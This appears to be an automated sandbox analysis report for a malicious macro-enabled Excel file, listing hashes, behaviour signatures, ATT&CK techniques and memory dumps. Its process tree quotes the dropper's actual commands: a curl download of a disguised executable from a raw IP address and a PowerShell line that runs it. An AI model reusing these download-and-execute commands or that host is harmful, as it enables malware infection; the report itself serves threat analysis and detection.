38ec1b67c0984d16f37b8c5e2c233cad4dca5f4dc20773214988454bad831b95

General

Target

177493-721970-509684.xlsm
Size

37KB
MD5

d1f3518c5acf20d68d68ec8c133c62c5
SHA1

4f0353c1209d9c0e207271a905aa203cf20c957f
SHA256

2eac1037b3c974c093429ad51339e4c589a96ab64d50a71bb78548c1ea096f76
SHA512

2ce99af41ec688b6a33530b57b147b0e09f73f44cd6d93256618ea149b4b17c3cc427c9df974c3e44bcf27dd843aebb9fdfcd2dca3ca9576d642044b3a25eb71
SSDEEP

384:miEFHjU+UlM9zdUjSpUwU7eIIoNJYTymthKwM3+WP87vOUn7pMLIcGTPlWjXXU8n:mlZJxujSpXWjJYl3KBMOOqIcWSXdhp

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1000	1128	powershell.exe	85
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4828	1128	cmd.exe	85

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1128	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1000	powershell.exe
1000	powershell.exe
1000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

pid	Process
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 1000	1128	EXCEL.EXE	95
PID 1128 wrote to memory of 1000	1128	EXCEL.EXE	95
PID 1128 wrote to memory of 4828	1128	EXCEL.EXE	96
PID 1128 wrote to memory of 4828	1128	EXCEL.EXE	96
PID 4828 wrote to memory of 1576	4828	cmd.exe	99
PID 4828 wrote to memory of 1576	4828	cmd.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\177493-721970-509684.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe start-sleep 10; $x=$env:AppData+'\gDALZ.exe';Invoke-Expression $x
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1000
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\gDALZ.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\system32\curl.exe
    curl http://151.236.30.123/images/suntogether.png -o C:\Users\Admin\AppData\Roaming\gDALZ.exe
    3⤵
    PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a01r1z2t.b33.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1000-36-0x000002A3E5610000-0x000002A3E5632000-memory.dmp

Filesize
136KB

Download
memory/1000-56-0x00007FF82DFB0000-0x00007FF82EA71000-memory.dmp

Filesize
10.8MB

Download
memory/1000-48-0x000002A3FDCE0000-0x000002A3FDCF0000-memory.dmp

Filesize
64KB

Download
memory/1000-47-0x000002A3FDCE0000-0x000002A3FDCF0000-memory.dmp

Filesize
64KB

Download
memory/1000-46-0x00007FF82DFB0000-0x00007FF82EA71000-memory.dmp

Filesize
10.8MB

Download
memory/1128-8-0x00007FF816FD0000-0x00007FF816FE0000-memory.dmp

Filesize
64KB

Download
memory/1128-19-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-0-0x00007FF816FD0000-0x00007FF816FE0000-memory.dmp

Filesize
64KB

Download
memory/1128-9-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-10-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-11-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-12-0x00007FF814D60000-0x00007FF814D70000-memory.dmp

Filesize
64KB

Download
memory/1128-13-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-14-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-15-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-16-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-17-0x00007FF814D60000-0x00007FF814D70000-memory.dmp

Filesize
64KB

Download
memory/1128-18-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-7-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-20-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-21-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-22-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-23-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-5-0x00007FF816FD0000-0x00007FF816FE0000-memory.dmp

Filesize
64KB

Download
memory/1128-6-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-1-0x00007FF816FD0000-0x00007FF816FE0000-memory.dmp

Filesize
64KB

Download
memory/1128-3-0x00007FF816FD0000-0x00007FF816FE0000-memory.dmp

Filesize
64KB

Download
memory/1128-4-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-2-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-57-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-58-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download
memory/1128-59-0x00007FF856F50000-0x00007FF857145000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads